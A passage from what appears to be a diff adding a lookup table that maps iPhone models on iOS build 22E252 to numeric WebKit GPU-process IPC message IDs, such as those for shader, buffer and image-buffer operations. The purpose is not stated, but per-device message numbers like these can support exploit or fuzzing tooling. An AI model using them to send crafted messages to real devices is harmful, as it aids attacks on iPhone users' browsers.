RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone13,3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone13,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,2_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,6_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,7_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,8_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,2_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + 